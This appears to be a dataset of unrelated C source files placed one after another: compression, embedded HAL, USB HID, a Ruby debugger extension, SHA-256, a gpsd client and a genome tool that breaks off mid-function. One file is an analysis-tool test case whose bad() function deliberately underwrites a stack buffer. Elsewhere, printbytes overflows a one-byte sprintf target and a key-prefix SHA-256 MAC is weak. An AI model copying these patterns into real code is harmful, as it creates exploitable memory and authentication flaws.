put_short(s, s->bi_buf);
} else if (s->bi_valid > 0) {
put_byte(s, (Byte)s->bi_buf);
}
s->bi_buf = 0;
s->bi_valid = 0;
#ifdef DEBUG
s->bits_sent = (s->bits_sent+7) & ~7;
#endif
}
/* ===========================================================================
* Copy a stored block, storing first the length and its
* one's complement if requested.
*/
local void copy_block(s, buf, len, header)
deflate_state *s;
charf *buf; /* the input data */
unsigned len; /* its length */
int header; /* true if block header must be written */
{
bi_windup(s); /* align on byte boundary */
if (header) {
put_short(s, (ush)len);
put_short(s, (ush)~len);
#ifdef DEBUG
s->bits_sent += 2*16;
#endif
}
#ifdef DEBUG
s->bits_sent += (ulg)len<<3;
#endif
while (len--) {
put_byte(s, *buf++);
}
}
|
405160.c | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE124_Buffer_Underwrite__char_declare_ncpy_34.c
Label Definition File: CWE124_Buffer_Underwrite.stack.label.xml
Template File: sources-sink-34.tmpl.c
*/
/*
* @description
* CWE: 124 Buffer Underwrite
* BadSource: Set data pointer to before the allocated memory buffer
* GoodSource: Set data pointer to the allocated memory buffer
* Sinks: ncpy
* BadSink : Copy string to data using strncpy
* Flow Variant: 34 Data flow: use of a union containing two methods of accessing the same data (within the same function)
*
* */
#include "std_testcase.h"
#include <wchar.h>
typedef union
{
char * unionFirst;
char * unionSecond;
} CWE124_Buffer_Underwrite__char_declare_ncpy_34_unionType;
#ifndef OMITBAD
void CWE124_Buffer_Underwrite__char_declare_ncpy_34_bad()
{
char * data;
CWE124_Buffer_Underwrite__char_declare_ncpy_34_unionType myUnion;
char dataBuffer[100];
memset(dataBuffer, 'A', 100-1);
dataBuffer[100-1] = '\0';
/* FLAW: Set data pointer to before the allocated memory buffer */
data = dataBuffer - 8;
myUnion.unionFirst = data;
{
char * data = myUnion.unionSecond;
{
char source[100];
memset(source, 'C', 100-1); /* fill with 'C's */
source[100-1] = '\0'; /* null terminate */
/* POTENTIAL FLAW: Possibly copying data to memory before the destination buffer */
strncpy(data, source, 100-1);
/* Ensure the destination buffer is null terminated */
data[100-1] = '\0';
printLine(data);
}
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B() uses the GoodSource with the BadSink */
static void goodG2B()
{
char * data;
CWE124_Buffer_Underwrite__char_declare_ncpy_34_unionType myUnion;
char dataBuffer[100];
memset(dataBuffer, 'A', 100-1);
dataBuffer[100-1] = '\0';
/* FIX: Set data pointer to the allocated memory buffer */
data = dataBuffer;
myUnion.unionFirst = data;
{
char * data = myUnion.unionSecond;
{
char source[100];
memset(source, 'C', 100-1); /* fill with 'C's */
source[100-1] = '\0'; /* null terminate */
/* POTENTIAL FLAW: Possibly copying data to memory before the destination buffer */
strncpy(data, source, 100-1);
/* Ensure the destination buffer is null terminated */
data[100-1] = '\0';
printLine(data);
}
}
}
void CWE124_Buffer_Underwrite__char_declare_ncpy_34_good()
{
goodG2B();
}
#endif /* OMITGOOD */
/* Below is the main(). It is only used when building this testcase on
* its own for testing or for building a binary to use in testing binary
* analysis tools. It is not used when compiling all the testcases as one
* application, which is how source code analysis tools are tested.
*/
#ifdef INCLUDEMAIN
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
CWE124_Buffer_Underwrite__char_declare_ncpy_34_good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
CWE124_Buffer_Underwrite__char_declare_ncpy_34_bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
422626.c | /**
******************************************************************************
* @file usbh_hid_mouse.c
* @author MCD Application Team
* @version V3.2.2
* @date 07-July-2015
* @brief This file is the application layer for USB Host HID Mouse Handling.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT 2015 STMicroelectronics</center></h2>
*
* Licensed under MCD-ST Liberty SW License Agreement V2, (the "License");
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.st.com/software_license_agreement_liberty_v2
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "usbh_hid_mouse.h"
#include "usbh_hid_parser.h"
/** @addtogroup USBH_LIB
* @{
*/
/** @addtogroup USBH_CLASS
* @{
*/
/** @addtogroup USBH_HID_CLASS
* @{
*/
/** @defgroup USBH_HID_MOUSE
* @brief This file includes HID Layer Handlers for USB Host HID class.
* @{
*/
/** @defgroup USBH_HID_MOUSE_Private_TypesDefinitions
* @{
*/
/**
* @}
*/
/** @defgroup USBH_HID_MOUSE_Private_Defines
* @{
*/
/**
* @}
*/
/** @defgroup USBH_HID_MOUSE_Private_Macros
* @{
*/
/**
* @}
*/
/** @defgroup USBH_HID_MOUSE_Private_FunctionPrototypes
* @{
*/
static USBH_StatusTypeDef USBH_HID_MouseDecode(USBH_HandleTypeDef *phost);
/**
* @}
*/
/** @defgroup USBH_HID_MOUSE_Private_Variables
* @{
*/
HID_MOUSE_Info_TypeDef mouse_info;
uint32_t mouse_report_data[1];
/* Structures defining how to access items in a HID mouse report */
/* Access button 1 state. */
static const HID_Report_ItemTypedef prop_b1={
(uint8_t *)mouse_report_data+0, /*data*/
1, /*size*/
0, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min value device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
/* Access button 2 state. */
static const HID_Report_ItemTypedef prop_b2={
(uint8_t *)mouse_report_data+0, /*data*/
1, /*size*/
1, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min value device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
/* Access button 3 state. */
static const HID_Report_ItemTypedef prop_b3={
(uint8_t *)mouse_report_data+0, /*data*/
1, /*size*/
2, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
/* Access x coordinate change. */
static const HID_Report_ItemTypedef prop_x={
(uint8_t *)mouse_report_data+1, /*data*/
8, /*size*/
0, /*shift*/
0, /*count (only for array items)*/
1, /*signed?*/
0, /*min value read can return*/
0xFFFF,/*max value read can return*/
0, /*min vale device can report*/
0xFFFF,/*max value device can report*/
1 /*resolution*/
};
/* Access y coordinate change. */
static const HID_Report_ItemTypedef prop_y={
(uint8_t *)mouse_report_data+2, /*data*/
8, /*size*/
0, /*shift*/
0, /*count (only for array items)*/
1, /*signed?*/
0, /*min value read can return*/
0xFFFF,/*max value read can return*/
0, /*min vale device can report*/
0xFFFF,/*max value device can report*/
1 /*resolution*/
};
/**
* @}
*/
/** @defgroup USBH_HID_MOUSE_Private_Functions
* @{
*/
/**
* @brief USBH_HID_MouseInit
* The function init the HID mouse.
* @param phost: Host handle
* @retval USBH Status
*/
USBH_StatusTypeDef USBH_HID_MouseInit(USBH_HandleTypeDef *phost)
{
HID_HandleTypeDef *HID_Handle = (HID_HandleTypeDef *) phost->pActiveClass->pData;
mouse_info.x=0;
mouse_info.y=0;
mouse_info.buttons[0]=0;
mouse_info.buttons[1]=0;
mouse_info.buttons[2]=0;
mouse_report_data[0]=0;
if(HID_Handle->length > sizeof(mouse_report_data))
{
HID_Handle->length = sizeof(mouse_report_data);
}
HID_Handle->pData = (uint8_t *)mouse_report_data;
fifo_init(&HID_Handle->fifo, phost->device.Data, HID_QUEUE_SIZE * sizeof(mouse_report_data));
return USBH_OK;
}
/**
* @brief USBH_HID_GetMouseInfo
* The function return mouse information.
* @param phost: Host handle
* @retval mouse information
*/
HID_MOUSE_Info_TypeDef *USBH_HID_GetMouseInfo(USBH_HandleTypeDef *phost)
{
if(USBH_HID_MouseDecode(phost)== USBH_OK)
{
return &mouse_info;
}
else
{
return NULL;
}
}
/**
* @brief USBH_HID_MouseDecode
* The function decode mouse data.
* @param phost: Host handle
* @retval USBH Status
*/
static USBH_StatusTypeDef USBH_HID_MouseDecode(USBH_HandleTypeDef *phost)
{
HID_HandleTypeDef *HID_Handle = (HID_HandleTypeDef *) phost->pActiveClass->pData;
if(HID_Handle->length == 0)
{
return USBH_FAIL;
}
/*Fill report */
if(fifo_read(&HID_Handle->fifo, &mouse_report_data, HID_Handle->length) == HID_Handle->length)
{
/*Decode report */
mouse_info.x = (int16_t )HID_ReadItem((HID_Report_ItemTypedef *) &prop_x, 0);
mouse_info.y = (int16_t )HID_ReadItem((HID_Report_ItemTypedef *) &prop_y, 0);
mouse_info.buttons[0]=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &prop_b1, 0);
mouse_info.buttons[1]=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &prop_b2, 0);
mouse_info.buttons[2]=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &prop_b3, 0);
return USBH_OK;
}
return USBH_FAIL;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
448137.c |
#include "ruby/ruby.h"
#include "ruby/debug.h"
#include "ruby/encoding.h"
#include "debug_version.h"
//
static VALUE rb_mDebugger;
// iseq
typedef struct rb_iseq_struct rb_iseq_t;
VALUE rb_iseq_realpath(const rb_iseq_t *iseq);
static VALUE
iseq_realpath(VALUE iseqw)
{
rb_iseq_t *iseq = DATA_PTR(iseqw);
return rb_iseq_realpath(iseq);
}
static VALUE rb_cFrameInfo;
static VALUE
di_entry(VALUE loc, VALUE self, VALUE binding, VALUE iseq, VALUE klass, VALUE depth)
{
return rb_struct_new(rb_cFrameInfo,
// :location, :self, :binding, :iseq, :class, :frame_depth,
loc, self, binding, iseq, klass, depth,
// :has_return_value, :return_value,
Qnil, Qnil,
// :has_raised_exception, :raised_exception,
Qnil, Qnil,
// :show_line, :local_variables
Qnil,
// :_local_variables, :_callee # for recorder
Qnil, Qnil,
// :dupped_binding
Qnil
);
}
static int
str_start_with(VALUE str, VALUE prefix)
{
StringValue(prefix);
rb_enc_check(str, prefix);
if (RSTRING_LEN(str) >= RSTRING_LEN(prefix) &&
memcmp(RSTRING_PTR(str), RSTRING_PTR(prefix), RSTRING_LEN(prefix)) == 0) {
return 1;
}
else {
return 0;
}
}
static VALUE
di_body(const rb_debug_inspector_t *dc, void *ptr)
{
VALUE skip_path_prefix = (VALUE)ptr;
VALUE locs = rb_debug_inspector_backtrace_locations(dc);
VALUE ary = rb_ary_new();
long len = RARRAY_LEN(locs);
long i;
for (i=1; i<len; i++) {
VALUE loc, e;
VALUE iseq = rb_debug_inspector_frame_iseq_get(dc, i);
if (!NIL_P(iseq)) {
VALUE path = iseq_realpath(iseq);
if (!NIL_P(path) && !NIL_P(skip_path_prefix) && str_start_with(path, skip_path_prefix)) continue;
}
loc = RARRAY_AREF(locs, i);
e = di_entry(loc,
rb_debug_inspector_frame_self_get(dc, i),
rb_debug_inspector_frame_binding_get(dc, i),
iseq,
rb_debug_inspector_frame_class_get(dc, i),
INT2FIX(len - i));
rb_ary_push(ary, e);
}
return ary;
}
static VALUE
capture_frames(VALUE self, VALUE skip_path_prefix)
{
return rb_debug_inspector_open(di_body, (void *)skip_path_prefix);
}
static VALUE
frame_depth(VALUE self)
{
// TODO: more efficient API
VALUE bt = rb_make_backtrace();
return INT2FIX(RARRAY_LEN(bt));
}
static void
method_added_tracker(VALUE tpval, void *ptr)
{
rb_trace_arg_t *arg = rb_tracearg_from_tracepoint(tpval);
VALUE mid = rb_tracearg_callee_id(arg);
if (RB_UNLIKELY(mid == ID2SYM(rb_intern("method_added")) ||
mid == ID2SYM(rb_intern("singleton_method_added")))) {
VALUE args[] = {
tpval,
};
rb_funcallv(rb_mDebugger, rb_intern("method_added"), 1, args);
}
}
static VALUE
create_method_added_tracker(VALUE self)
{
return rb_tracepoint_new(0, RUBY_EVENT_CALL, method_added_tracker, NULL);
}
void Init_iseq_collector(void);
void
Init_debug(void)
{
rb_mDebugger = rb_const_get(rb_cObject, rb_intern("DEBUGGER__"));
rb_cFrameInfo = rb_const_get(rb_mDebugger, rb_intern("FrameInfo"));
// Debugger and FrameInfo were defined in Ruby. We need to register them
// as mark objects so they are automatically pinned.
rb_gc_register_mark_object(rb_mDebugger);
rb_gc_register_mark_object(rb_cFrameInfo);
rb_define_singleton_method(rb_mDebugger, "capture_frames", capture_frames, 1);
rb_define_singleton_method(rb_mDebugger, "frame_depth", frame_depth, 0);
rb_define_singleton_method(rb_mDebugger, "create_method_added_tracker", create_method_added_tracker, 0);
rb_define_const(rb_mDebugger, "SO_VERSION", rb_str_new2(RUBY_DEBUG_VERSION));
Init_iseq_collector();
}
|
120328.c | #include "hal.h"
#include <libopencm3/stm32/rcc.h>
#include <libopencm3/stm32/rng.h>
#include <libopencm3/stm32/gpio.h>
#include <libopencm3/stm32/usart.h>
#include <libopencm3/cm3/nvic.h>
#include <libopencm3/stm32/flash.h>
#include <libopencm3/cm3/systick.h>
/* 24 MHz */
const struct rcc_clock_scale benchmarkclock = {
.pllm = 8, //VCOin = HSE / PLLM = 1 MHz
.plln = 192, //VCOout = VCOin * PLLN = 192 MHz
.pllp = 8, //PLLCLK = VCOout / PLLP = 24 MHz (low to have 0WS)
.pllq = 4, //PLL48CLK = VCOout / PLLQ = 48 MHz (required for USB, RNG)
.pllr = 0,
.hpre = RCC_CFGR_HPRE_DIV_NONE,
.ppre1 = RCC_CFGR_PPRE_DIV_2,
.ppre2 = RCC_CFGR_PPRE_DIV_NONE,
.pll_source = RCC_CFGR_PLLSRC_HSE_CLK,
.voltage_scale = PWR_SCALE1,
.flash_config = FLASH_ACR_DCEN | FLASH_ACR_ICEN | FLASH_ACR_LATENCY_0WS,
.ahb_frequency = 24000000,
.apb1_frequency = 12000000,
.apb2_frequency = 24000000,
};
static void clock_setup(const enum clock_mode clock)
{
switch(clock)
{
case CLOCK_BENCHMARK:
rcc_clock_setup_pll(&benchmarkclock);
break;
case CLOCK_FAST:
default:
rcc_clock_setup_pll(&rcc_hse_8mhz_3v3[RCC_CLOCK_3V3_168MHZ]);
break;
}
rcc_periph_clock_enable(RCC_GPIOA);
rcc_periph_clock_enable(RCC_USART2);
rcc_periph_clock_enable(RCC_DMA1);
rcc_periph_clock_enable(RCC_RNG);
flash_prefetch_enable();
}
static void gpio_setup(void)
{
gpio_mode_setup(GPIOA, GPIO_MODE_AF, GPIO_PUPD_NONE, GPIO2 | GPIO3);
gpio_set_af(GPIOA, GPIO_AF7, GPIO2 | GPIO3);
}
static void usart_setup(int baud)
{
usart_set_baudrate(USART2, baud);
usart_set_databits(USART2, 8);
usart_set_stopbits(USART2, USART_STOPBITS_1);
usart_set_mode(USART2, USART_MODE_TX_RX);
usart_set_parity(USART2, USART_PARITY_NONE);
usart_set_flow_control(USART2, USART_FLOWCONTROL_NONE);
usart_enable(USART2);
}
static void systick_setup(void)
{
// assumes clock_setup was called with CLOCK_BENCHMARK
systick_set_clocksource(STK_CSR_CLKSOURCE_AHB);
systick_set_reload(16777215);
systick_interrupt_enable();
systick_counter_enable();
}
static void send_USART_str(const char* in)
{
int i;
for(i = 0; in[i] != 0; i++) {
usart_send_blocking(USART2, *(unsigned char *)(in+i));
}
usart_send_blocking(USART2, '\n');
}
static void send_USART_rstr(const char* in)
{
int i;
for(i = 0; in[i] != 0; i++) {
usart_send_blocking(USART2, *(unsigned char *)(in+i));
}
}
void hal_setup(const enum clock_mode clock)
{
clock_setup(clock);
gpio_setup();
usart_setup(115200);
systick_setup();
rng_enable();
}
void hal_send_str(const char* in)
{
send_USART_str(in);
}
void hal_send_rstr(const char* in){
send_USART_rstr(in);
}
void printbytes(unsigned char* v, unsigned int len){
char out;
unsigned int i;
for(i=0; i < len; ++i){
sprintf(&out, "%X", v[i]);
hal_send_rstr(&out);
}
hal_send_str("\n");
}
static volatile unsigned long long overflowcnt = 0;
void sys_tick_handler(void)
{
++overflowcnt;
}
uint64_t hal_get_time()
{
while (true) {
unsigned long long before = overflowcnt;
unsigned long long result = (before + 1) * 16777216llu - systick_get_value();
if (overflowcnt == before) {
return result;
}
}
}
|
608365.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "../sha256.h"
#define DEBUG_SHA256 0
/* "static" variable undefined at end of file.
* Must be a define instead of a variable to
* be accepted with const variables.
*/
#define SHA256_BLOCK_SIZE 64
static int sha256_pad_data(unsigned char **output_ptr, size_t *output_size_ptr, unsigned char *input_data, size_t input_data_size){
size_t bytes_to_add;
size_t padded_data_size;
unsigned char *padded_data;
uint32_t ml;
uint32_t ml_big_endian;
/* Get number of padding bytes */
bytes_to_add = SHA256_BLOCK_SIZE - (((input_data_size % SHA256_BLOCK_SIZE) + (sizeof(uint32_t) * 2)) % SHA256_BLOCK_SIZE);
if(bytes_to_add == SHA256_BLOCK_SIZE) bytes_to_add = 0;
/* Get total size */
padded_data_size = input_data_size + bytes_to_add + (sizeof(uint32_t) * 2);
/* Assign output variables */
/* Write size if possible */
if(!output_size_ptr) return 1;
*output_size_ptr = padded_data_size;
/* Before checking if we should leave for lack of output buffer */
if(!output_ptr) return 1;
if( ! (*output_ptr) ) *output_ptr = malloc(padded_data_size);
/* Nicer than using (*output_ptr) everywhere */
padded_data = *output_ptr;
memcpy(padded_data, input_data, input_data_size);
memset(padded_data+input_data_size, 0, bytes_to_add+sizeof(uint32_t));
padded_data[input_data_size] = (unsigned char) 0x80;
ml = input_data_size * CHAR_BIT;
ml_big_endian = UINT32_HOST_TO_BIG_ENDIAN(ml);
memcpy(padded_data+input_data_size+bytes_to_add+sizeof(uint32_t), &ml_big_endian, sizeof(uint32_t));
return 0;
}
/* Not intended for outside use. Use one of the wrapper functions if possible.
*
* h0-7 are the big-endian SHA1 register values to use.
*/
int sha256_internal(unsigned char **output_ptr, unsigned char *input, size_t input_size, \
uint32_t h0, uint32_t h1, uint32_t h2, uint32_t h3, \
uint32_t h4, uint32_t h5, uint32_t h6, uint32_t h7){
size_t i, j;
uint8_t *preprocessed_input = NULL;
size_t preprocessed_input_size;
uint32_t w[64];
const uint32_t k[64] = {
0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5,
0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174,
0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA,
0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967,
0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85,
0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070,
0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3,
0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2
};
uint32_t a;
uint32_t b;
uint32_t c;
uint32_t d;
uint32_t e;
uint32_t f;
uint32_t g;
uint32_t h;
uint32_t temp1;
uint32_t temp2;
sha256_pad_data(&preprocessed_input, &preprocessed_input_size, input, input_size);
for(i = 0; i < preprocessed_input_size; i += SHA256_BLOCK_SIZE){
for(j = 0; j < 16; j++){
memcpy(&w[j], (preprocessed_input+i)+(j*sizeof(uint32_t)), sizeof(uint32_t));
w[j] = UINT32_HOST_TO_BIG_ENDIAN(w[j]);
}
#if DEBUG_SHA256 && 1
printf("Initial 16 word values:\n");
for(j = 0; j < 16; j++) printf("w[%02lu] = 0x%08x\n", j, w[j]);
printf("\n");
#endif
for(j = 16; j < 64; j++){
w[j] = w[j-16] + \
(UINT32_ROTATE_RIGHT(w[j-15], 7) ^ UINT32_ROTATE_RIGHT(w[j-15], 18) ^ (w[j-15] >> 3)) + \
w[j-7] + \
(UINT32_ROTATE_RIGHT(w[j- 2], 17) ^ UINT32_ROTATE_RIGHT(w[j- 2], 19) ^ (w[j- 2] >> 10));
}
a = h0;
b = h1;
c = h2;
d = h3;
e = h4;
f = h5;
g = h6;
h = h7;
for(j = 0; j < 64; j++){
temp1 = h + \
(UINT32_ROTATE_RIGHT(e, 6) ^ UINT32_ROTATE_RIGHT(e, 11) ^ UINT32_ROTATE_RIGHT(e, 25)) + \
((e & f) ^ ((~e) & g)) + k[j] + w[j];
temp2 = (UINT32_ROTATE_RIGHT(a, 2) ^ UINT32_ROTATE_RIGHT(a, 13) ^ UINT32_ROTATE_RIGHT(a, 22)) + \
((a & b) ^ (a & c) ^ (b & c));
h = g;
g = f;
f = e;
e = d + temp1;
d = c;
c = b;
b = a;
a = temp1 + temp2;
}
h0 += a;
h1 += b;
h2 += c;
h3 += d;
h4 += e;
h5 += f;
h6 += g;
h7 += h;
}
#if DEBUG_SHA256 && 1
printf("Final big-endian state values:\n");
printf("h0 = 0x%08x\n", h0);
printf("h1 = 0x%08x\n", h1);
printf("h2 = 0x%08x\n", h2);
printf("h3 = 0x%08x\n", h3);
printf("h4 = 0x%08x\n", h4);
printf("h5 = 0x%08x\n", h5);
printf("h6 = 0x%08x\n", h6);
printf("h7 = 0x%08x\n", h7);
printf("\n");
#endif
h0 = UINT32_BIG_TO_HOST_ENDIAN(h0);
h1 = UINT32_BIG_TO_HOST_ENDIAN(h1);
h2 = UINT32_BIG_TO_HOST_ENDIAN(h2);
h3 = UINT32_BIG_TO_HOST_ENDIAN(h3);
h4 = UINT32_BIG_TO_HOST_ENDIAN(h4);
h5 = UINT32_BIG_TO_HOST_ENDIAN(h5);
h6 = UINT32_BIG_TO_HOST_ENDIAN(h6);
h7 = UINT32_BIG_TO_HOST_ENDIAN(h7);
if(output_ptr != NULL){
if(*output_ptr == NULL) *output_ptr = malloc(SHA256_DIGEST_SIZE);
}
memcpy(*output_ptr+(sizeof(uint32_t)*0), &h0, sizeof(uint32_t));
memcpy(*output_ptr+(sizeof(uint32_t)*1), &h1, sizeof(uint32_t));
memcpy(*output_ptr+(sizeof(uint32_t)*2), &h2, sizeof(uint32_t));
memcpy(*output_ptr+(sizeof(uint32_t)*3), &h3, sizeof(uint32_t));
memcpy(*output_ptr+(sizeof(uint32_t)*4), &h4, sizeof(uint32_t));
memcpy(*output_ptr+(sizeof(uint32_t)*5), &h5, sizeof(uint32_t));
memcpy(*output_ptr+(sizeof(uint32_t)*6), &h6, sizeof(uint32_t));
memcpy(*output_ptr+(sizeof(uint32_t)*7), &h7, sizeof(uint32_t));
/* Zero all memory. */
memset(preprocessed_input, 0, preprocessed_input_size);
free(preprocessed_input);
preprocessed_input = NULL;
preprocessed_input_size = h0 = h1 = h2 = h3 = h4 = h5 = h6 = h7 = 0;
a = b = c = d = e = f = g = h = temp1 = temp2 = 0;
for(i = 0; i < 64; i++) w[i] = 0;
i = j = 0;
return 0;
}
/* External sha256 function. Sets default state values. */
int sha256(unsigned char **output_ptr, unsigned char *input, size_t input_size){
uint32_t h0 = 0x6A09E667;
uint32_t h1 = 0xBB67AE85;
uint32_t h2 = 0x3C6EF372;
uint32_t h3 = 0xA54FF53A;
uint32_t h4 = 0x510E527F;
uint32_t h5 = 0x9B05688C;
uint32_t h6 = 0x1F83D9AB;
uint32_t h7 = 0x5BE0CD19;
return sha256_internal(output_ptr, input, input_size, h0, h1, h2, h3, h4, h5, h6, h7);
}
int key_prefix_sha256(unsigned char **output_ptr, unsigned char *input, size_t input_size, unsigned char *key, size_t key_size){
unsigned char *combined_data = NULL;
size_t combined_data_size;
if(input == NULL || key == NULL) return 1;
combined_data_size = input_size + key_size;
combined_data = malloc(combined_data_size);
memcpy(combined_data, key, key_size);
memcpy(combined_data+key_size, input, input_size);
sha256(output_ptr, combined_data, combined_data_size);
free(combined_data);
return 0;
}
int sha256_hash_to_string(char **output_ptr, unsigned char *input){
size_t i;
if(output_ptr == NULL){
return 1;
}else{
if(*output_ptr == NULL) *output_ptr = malloc((SHA256_DIGEST_SIZE*2)+1);
(*output_ptr)[SHA256_DIGEST_SIZE*2] = '\0';
}
for(i = 0; i < SHA256_DIGEST_SIZE; i++){
sprintf((*output_ptr)+(i*2), "%02x", input[i]);
}
return 0;
}
#undef SHA256_BLOCK_SIZE
|
726456.c | #include <gps.h>
#include <math.h>
//#include <unistd.h>
#define MODE_STR_NUM 4
static char* mode_str[MODE_STR_NUM] = {
"n/a",
"None",
"2D",
"3D"
};
int main(void) {
struct gps_data_t gps_data;
if(0 != gps_open("127.0.0.1", "2947", &gps_data))
{
printf("Open error. Bye, bye\n");
return 1;
}
(void) gps_stream(&gps_data, WATCH_ENABLE | WATCH_JSON, NULL);
while(gps_waiting(&gps_data, 5000000))
{
if (-1 == gps_read(&gps_data, NULL, 0))
{
printf("Read error. Bye, bye\n");
break;
}
if (MODE_SET != (MODE_SET & gps_data.set))
{
continue;
}
if (0 > gps_data.fix.mode || MODE_STR_NUM <= gps_data.fix.mode)
{
gps_data.fix.mode = 0;
}
printf("Fix mode: %s (%d) Time: ", mode_str[gps_data.fix.mode], gps_data.fix.mode);
if (TIME_SET == (TIME_SET & gps_data.set))
{
printf("%ld.%09ld ", gps_data.fix.time.tv_sec, gps_data.fix.time.tv_nsec);
}
else
{
puts("n/a ");
}
if (isfinite(gps_data.fix.latitude) && isfinite(gps_data.fix.longitude))
{
printf("Lat %.6f Lon %.6f\n", gps_data.fix.latitude, gps_data.fix.longitude);
}
}
/* When you are done... */
(void) gps_stream(&gps_data, WATCH_DISABLE, NULL);
(void) gps_close(&gps_data);
return 0;
}
|
528888.c |
#include <iostream>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
using namespace std;
int main()
{
// ftok to generate unique key
key_t key = ftok("shmfile",65);
// shmget returns an identifier in shmid
int shmid = shmget(key,1024,0666|IPC_CREAT);
// shmat to attach to shared memory
char *str = (char*) shmat(shmid,(void*)0,0);
cout<<"Write Data : ";
//gets(str);
//fgets(str,strlen(str),stdin);
snprintf(str,5,"hello");
printf("Data written in memory: %s\n",str);
//detach from shared memory
shmdt(str);
return 0;
}
|
701310.c | /* hgKnownMore - Create the knownMore table from a variety of sources.. */
#include "common.h"
#include "knownMore.h"
#include "linefile.h"
#include "hash.h"
#include "jksql.h"
#include "hugoMulti.h"
#include "knownInfo.h"
void usage()
/* Explain usage and exit. */
{
errAbort(
"hgKnownMore - Create the knownMore table from a variety of sources.\n"
"usage:\n"
" hgKnownMore database omim_to_transcript.map omimIds nomeids.txt\n"
"where omim_to_transcript.map comes from Affymetrix and connect genie predictions to\n"
"OMIM ids, omimIds connects names and omimIds and is from NCBI, and nomeids \n"
"has lots of information and is from HUGO Gene Nomenclature Committee.\n"
);
}
void readHugoMultiTable(char *fileName, struct hugoMulti **retList,
struct hash **retIdHash, struct hash **retSymbolHash)
/* Read in file into list and hashes. Make hash keyed on omim ID
* and on OMIM symbol. */
{
struct hash *idHash = newHash(0);
struct hash *symbolHash = newHash(0);
struct hugoMulti *list = NULL, *el;
struct lineFile *lf = lineFileOpen(fileName, TRUE);
char *words[16];
char *line;
int lineSize, wordCount;
char *name;
while (lineFileNext(lf, &line, &lineSize))
{
if (line[0] == 0 || line[0] == '#')
continue;
wordCount = chopTabs(line, words);
lineFileExpectWords(lf, 11, wordCount);
el = hugoMultiLoad(words);
slAddHead(&list, el);
name = el->omimId;
if (name[0] != 0)
hashAdd(idHash, name, el);
name = el->symbol;
if (name[0] != 0)
hashAdd(symbolHash, name, el);
}
lineFileClose(&lf);
slReverse(&list);
*retList = list;
*retIdHash = idHash;
*retSymbolHash = symbolHash;
}
struct nameOmim
/* Connect name with OMIM ID */
{
struct nameOmim *next; /* Next in list. */
char *name; /* Symbolic name. */
char *omimId; /* OMIM numerical ID as a string. */
};
void readNameOmim(char *fileName, struct nameOmim **retList, struct hash **retNameOmimHash,
struct hash **retOmimNameHash)
/* Read in file into list and hashes. Make hash keyed on transcriptId (txOmimHash)
* and hash keyed on omimId (omimNameHash). */
{
struct lineFile *lf = lineFileOpen(fileName, TRUE);
struct hash *nameOmimHash = newHash(0);
struct hash *omimNameHash = newHash(0);
struct nameOmim *list = NULL, *el;
char *row[2];
while (lineFileRow(lf, row))
{
AllocVar(el);
slAddHead(&list, el);
touppers(row[0]);
hashAddSaveName(nameOmimHash, row[0], el, &el->name);
hashAddSaveName(omimNameHash, row[1], el, &el->omimId);
}
lineFileClose(&lf);
slReverse(&list);
*retList = list;
*retNameOmimHash = nameOmimHash;
*retOmimNameHash = omimNameHash;
}
struct txOmim
/* Connect transcriptID with OMIM ID */
{
struct txOmim *next; /* Next in list. */
char *transId; /* Genie transcript ID. */
char *omimId; /* OMIM ID as a string. */
};
void readTxOmim(char *fileName, struct txOmim **retList, struct hash **retTxOmimHash,
struct hash **retOmimTxHash)
/* Read in file into list and hashes. Make hash keyed on transcriptId (txOmimHash)
* and hash keyed on omimId (omimTxHash). */
{
struct lineFile *lf = lineFileOpen(fileName, TRUE);
struct hash *txOmimHash = newHash(0);
struct hash *omimTxHash = newHash(0);
struct txOmim *list = NULL, *el;
char *row[2];
char *omim;
